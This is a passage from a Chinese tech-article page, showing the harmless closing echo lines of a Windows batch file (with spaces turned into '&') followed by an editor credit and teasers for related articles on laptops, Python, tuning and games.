echo.Any&questions&,feel&free&to&mail&to&& echo& echo.& echo&------------------------------------------------------& echo.& :EOF& echo&end&of&the&batch&file& ------------------------&cut&here&then&save&as&.bat&or&.cmd&file&---------------------------&
当前1/2页&1
(责任编辑:admin)
------分隔线----------------------------
各位朋友,下面的相关文章可能对您很有帮助!
看到一个网友问到了这样的一个问题:你好,请问下我的笔记本电脑为什么触摸盘滑动的时...
#!/usr/bin/env python#coding=utf-8def word_distance(m,n): """compute the least s...
相信不少的朋友,无论是做开发、架构的,还是DBA等,都经常听说“调优”这个词。说起...
最近在做游戏定时推送,犹如第二天9点通知玩家领取奖励之类的需求,要求获取第二天9点...
关键字概述 很多朋友看到这儿可能会有疑问,往往其它讲C语言的书籍都是从HelloWorld,...
王者荣耀 上线了全新游戏版本,局内道具上也进行了一定的调整,主要是新增了几件带有...}